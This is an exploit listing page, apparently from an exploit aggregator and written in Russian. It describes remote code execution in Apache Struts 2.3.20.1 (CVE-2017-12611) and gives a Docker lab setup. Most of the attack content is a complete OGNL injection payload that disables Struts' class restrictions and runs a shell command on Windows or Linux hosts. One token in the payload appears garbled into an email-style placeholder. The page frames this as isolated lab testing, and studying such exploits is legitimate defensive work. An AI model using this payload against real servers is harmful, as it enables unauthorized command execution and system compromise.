Sploitus

CVE-2017-12611_Exploit

kitploit Β· 2026-08-25

Exploit Code

MARKDOWN34 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ZEYNEPSILAO-CVE-2017-12611_EXPLOIT
# ΠŸΡ€ΠΎΠ΅ΠΊΡ‚ CVE-2017-12611

## ΠžΠ±Π·ΠΎΡ€:

Атака RCE Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π΄Π°Π½Π½ΠΎΠ³ΠΎ payload.

## ΠžΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ ΠΈ инструмСнты

НиТС пСрСчислСны окруТСния ΠΈ инструмСнты для тСстирования ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Π² ΠΈΠ·ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ Π»ΠΈΡ‡Π½ΠΎΠΉ Π»Π°Π±ΠΎΡ€Π°Ρ‚ΠΎΡ€ΠΈΠΈ.

  * **ОБ хоста** : Ubuntu 18.04.6
  * **ОБ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅Π³ΠΎ** : Kali Linux
  * **ΠŸΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ° ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠ²** : Docker
  * **Π‘Ρ‚Π΅ΠΊ Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ прилоТСния** : Apache Struts 2.3.20.1
  * **Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹** : Burp Suite



## Настройка окруТСния:

Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹:

root@kitploit:~
    
    
    docker compose up -d 
    

Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅. ПослС этого Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ страницу ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ, пСрСйдя ΠΏΠΎ адрСсу http://<YOUR_IP>:8080/hello.action.

## ПСйлоад:

%{(#some-email@example.com@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}